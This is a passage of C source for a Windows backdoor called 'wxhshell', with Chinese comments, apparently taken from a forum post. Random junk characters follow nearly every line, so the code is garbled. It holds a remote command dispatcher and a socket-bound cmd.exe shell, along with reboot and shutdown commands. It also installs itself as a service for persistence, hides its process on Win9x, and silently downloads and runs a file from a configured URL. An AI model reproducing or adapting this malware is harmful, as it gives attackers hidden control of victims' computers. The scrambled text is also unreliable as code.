  } 6%'{Cq1DE  
  else { LNg1q1 P3  
givK{Yt<B  
    switch(cmd[0]) { 'Oc8[8   
  @2u<Bh}}  
  // 帮助 J)-owu;  
  case '?': { 7]^Cg;EtM:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *\`C! r  
    break; jsG9{/Ov3  
  }  [:k'VXL  
  // 安装 _m&VdIPO  
  case 'i': { zZRqb/20  
    if(Install()) j[HKC0C6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 42C:cl} ."  
    else ZD<,h` lZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *dQRs6  
    break; J\%:jg( m  
    } 4H,DG`[Mo  
  // 卸载 z_H2 L"Z  
  case 'r': { 2Fh_  
    if(Uninstall()) & p%,+|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z=xHk|+'  
    else h}oQr0"c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #[si.rv->  
    break; H z6H,h  
    } q[#\qT&QU  
  // 显示 wxhshell 所在路径 u1"e+4f  
  case 'p': { 9@j~1G%^  
    char svExeFile[MAX_PATH]; <V, ?!}V  
    strcpy(svExeFile,"\n\r"); l&rDa=m.J  
      strcat(svExeFile,ExeFile); [0}471  
        send(wsh,svExeFile,strlen(svExeFile),0); 5>=tNbk"s  
    break; eS"gHldz  
    } Brl6r8LGi  
  // 重启 EvYw$ j  
  case 'b': { <Kh\i'8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZJ 4"QsF  
    if(Boot(REBOOT)) A/QVotcU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YO Y+z\Q  
    else { U %4g:s  
    closesocket(wsh); -Z Z$ 1E  
    ExitThread(0); 06`__$@h  
    } _(jE](,  
    break; UqHOS{\Sz  
    } Z 0:2x(x9  
  // 关机 JTI m`t"d=  
  case 'd': { . 9 NS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q! ,do2T  
    if(Boot(SHUTDOWN)) D;L :a`Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TM}F9!*je  
    else { D6vn3*,&  
    closesocket(wsh); 7^; OjO@8  
    ExitThread(0); Wf?sJ`.%b  
    } U VLcR  
    break; d5%*^nMpY  
    } I>xB.$A  
  // 获取shell EH3G|3^xz  
  case 's': { g IKm  
    CmdShell(wsh); $7r wara  
    closesocket(wsh); ~ /[Cgh0  
    ExitThread(0); +wSm6*j7=  
    break;  )L!R~F C  
  } lEDHx[q  
  // 退出 M~Slc*_%  
  case 'x': { {q)B@#p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s`J=:>9*  
    CloseIt(wsh); p^:Lj9Qax  
    break; .g#=~{A  
    } V[M#qZS  
  // 离开 OW}A48X[+  
  case 'q': { ) T1 oDk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t/1NTa  
    closesocket(wsh); 55DzBV  
    WSACleanup(); de6dLT>m  
    exit(1); ?>8zU;Aj  
    break; \?^wu  
        } r8%,xA&  
  } K)+l6Q  
  } % 4"~O _S  
XgKG\C=3  
  // 提示信息 |w2AB7EU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gJxVU41  
} UK>=y_FYO  
  } V^z;^mdd  
"V0:Lq  
  return; }?J5!X  
} cOZ^huK  
_ICDtG^  
// shell模块句柄 PL$F;d  
int CmdShell(SOCKET sock) mtQ{6u  
{ "T%'Rp`j|  
STARTUPINFO si; Y^Q|l%Qrb  
ZeroMemory(&si,sizeof(si)); U_;J.{n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 25n (&NV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pf@}4PN}  
PROCESS_INFORMATION ProcessInfo; mMAr8~ A=  
char cmdline[]="cmd"; 1GE%5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); idS RWa  
  return 0; J<#`IaV  
} 5b`xN!c  
p}DF$k%`  
// 自身启动模式 51opP8  
int StartFromService(void) ~: <@`  
{ {dx /p-Tv  
typedef struct _L'cyH.cn  
{ K}<!{/fi)  
  DWORD ExitStatus; `ab\i`g9  
  DWORD PebBaseAddress; eQVPxt2N  
  DWORD AffinityMask; 0#fG4D_  
  DWORD BasePriority; ,e FQ}&^A  
  ULONG UniqueProcessId; W}2 &Pax  
  ULONG InheritedFromUniqueProcessId; BH0#Q5  
}   PROCESS_BASIC_INFORMATION; N 3yB1_   
{/A)t1nL  
PROCNTQSIP NtQueryInformationProcess; VUC <0WV  
sp Q4m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :n4:@L<%H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EcU'*  
)=E~CpKV  
  HANDLE             hProcess; ow+Dd[i  
  PROCESS_BASIC_INFORMATION pbi; X ' #$e{  
r d6F"W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RQpIBsj  
  if(NULL == hInst ) return 0; TG63  
Q_kT}6#(J=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B3>Uba*-)}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S $_Y/x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j[/SXF\=  
,t%\0[{/B  
  if (!NtQueryInformationProcess) return 0; XiRT|%j  
1t[;`iZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U+*oI*  
  if(!hProcess) return 0; `\ef0  
0^&(u:~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Rnj Jg?I=  
d{2 y/  
  CloseHandle(hProcess); -eR!qy:.]5  
"$W|/vD+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q"_T2fl]vP  
if(hProcess==NULL) return 0; MvZ+n  
5y%un  
HMODULE hMod; UH 47e  
char procName[255]; X;OsH  
unsigned long cbNeeded; #a(%(k S  
M<A;IOpR+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `J>E9p<  
'&-5CpDUs  
  CloseHandle(hProcess); ;]gsJ9FK<  
rL%]S&M9  
if(strstr(procName,"services")) return 1; // 以服务启动 >@)*S n9"  
HJfQ]p'nK2  
  return 0; // 注册表启动 V8sH{R-  
} GUu\dl9WA'  
~?AC:  
// 主模块 O t *K+^I  
int StartWxhshell(LPSTR lpCmdLine) ZDOF  
{ 3$?9uMl#  
  SOCKET wsl; ;|>q zx  
BOOL val=TRUE; 0i8[=  
  int port=0; !,Xyl} #  
  struct sockaddr_in door; | V.S.'  
xb =8t!  
  if(wscfg.ws_autoins) Install(); 5JBB+g  
>JKnGeF  
port=atoi(lpCmdLine); xvwD3.1  
),cQUB  
if(port<=0) port=wscfg.ws_port; (s}Rj)V[^  
aF&r/j+}o  
  WSADATA data; SON ^CvMs{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ; x:k-s2-  
6R1wn&8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ny12U;'s,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '}jf#C1$c  
  door.sin_family = AF_INET; I~\O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gYTyH.  
  door.sin_port = htons(port); 2{A;du%&  
,|T*|2Gm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M82.khm~jM  
closesocket(wsl); 8hTR*e! +  
return 1; <|{L[  
} "/ tUA\=j  
?,ZELpg n  
  if(listen(wsl,2) == INVALID_SOCKET) { dtB[m^$  
closesocket(wsl); J+ Jt4  
return 1; AMbKN2h1f  
} DMF?5GX  
  Wxhshell(wsl); J[ e}  
  WSACleanup(); PD6MyW05%9  
T;i?w  
return 0; |-~b$nUe  
0LetsDN7I  
} y;Qy"-)qb  
D:=t*2-Iv  
// 以NT服务方式启动 )l`1)Ea~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 't +"k8  
{ r_b8,I6{]  
DWORD   status = 0; v6wRME;JA  
  DWORD   specificError = 0xfffffff; JB&G~7Q85  
y,MPGW_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <RhOjZgyZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2dHM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B4`2.yRis  
  serviceStatus.dwWin32ExitCode     = 0; qBT_! )h   
  serviceStatus.dwServiceSpecificExitCode = 0; Q;4}gUmI$  
  serviceStatus.dwCheckPoint       = 0; FoE|Js  
  serviceStatus.dwWaitHint       = 0; xDR9_  
60xa?8<cg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K@B" ]6  
  if (hServiceStatusHandle==0) return; <^d!Vzr]  
cNe0x2Z$?  
status = GetLastError(); h,^BC^VU9-  
  if (status!=NO_ERROR) u3U4UK  
{ 30D: ZmlY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !n|#|.0m  
    serviceStatus.dwCheckPoint       = 0; EJ1Bq>u7  
    serviceStatus.dwWaitHint       = 0; lc]V\ 'e  
    serviceStatus.dwWin32ExitCode     = status; z)}3**3'y  
    serviceStatus.dwServiceSpecificExitCode = specificError; j7K5SS_]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k/%#>  
    return; 59V#FWe-  
  } OkLz^R?d  
3)}(M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &=YSM.G  
  serviceStatus.dwCheckPoint       = 0; TI}}1ScA'  
  serviceStatus.dwWaitHint       = 0; {S G*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *D2Nm9sl  
} t5xb"F   
Rv98\VD"  
// 处理NT服务事件,比如:启动、停止 }*NF&PD5RU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *P`v^&  
{ xdPcsox~  
switch(fdwControl) YQ; cJ$  
{ N1%p"(  
case SERVICE_CONTROL_STOP: f0vJm  
  serviceStatus.dwWin32ExitCode = 0; WP}ixcq#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C@1CanL@3  
  serviceStatus.dwCheckPoint   = 0; Bp :~bHf  
  serviceStatus.dwWaitHint     = 0; =-_)$GOI'  
  { <0#^7Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <j;]!qFR  
  } ',GV6kt_k  
  return; o7.e'1@  
case SERVICE_CONTROL_PAUSE: $*k)|4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^ oYPyk`9  
  break; N#4N?BBP"  
case SERVICE_CONTROL_CONTINUE: ]nQ+nH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I"-dTa  
  break; #<4--$Xo  
case SERVICE_CONTROL_INTERROGATE: ylu2R0] (  
  break; @dl8(ILk'  
}; -OrR $w|e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o]<jZ_|gB  
} {(4# )K2g%  
Wbe0ZnM]  
// 标准应用程序主函数 C}q>YRubZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .jA\f:u#  
{ Z^+rQ.%n"&  
qe?Qeh(!X  
// 获取操作系统版本 +Gow5-(  
OsIsNt=GetOsVer(); %#u.J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l;OYUq~F  
[>f]@>  
  // 从命令行安装 `z9J`r= I  
  if(strpbrk(lpCmdLine,"iI")) Install(); UP2}q?4  
1_uvoFLk  
  // 下载执行文件 m[spn@SF  
if(wscfg.ws_downexe) { ~h! 13!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f8=]oa]  
  WinExec(wscfg.ws_filenam,SW_HIDE); #jBN?Z#  
} -p`L% xj\  
A?8\Y{FQ  
if(!OsIsNt) { *t(4 $  
// 如果时win9x,隐藏进程并且设置为注册表启动 wO7t!35  
HideProc(); 4/'N|c.  
StartWxhshell(lpCmdLine); XV>@B $hu  
} :Xfn@>;3ui  
else &+01+-1hW  
  if(StartFromService()) 9cG<hX9`F  
  // 以服务方式启动 ^]>aHz9  
  StartServiceCtrlDispatcher(DispatchTable); %D`o  
else yS!(Ap  
  // 普通方式启动 8O7Yv<  
  StartWxhshell(lpCmdLine); =xL)$DTg)  
_7"5wB?|+  
return 0; /aYpIMi9}  
}
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只看该作者 1 发表于: 2006-10-10
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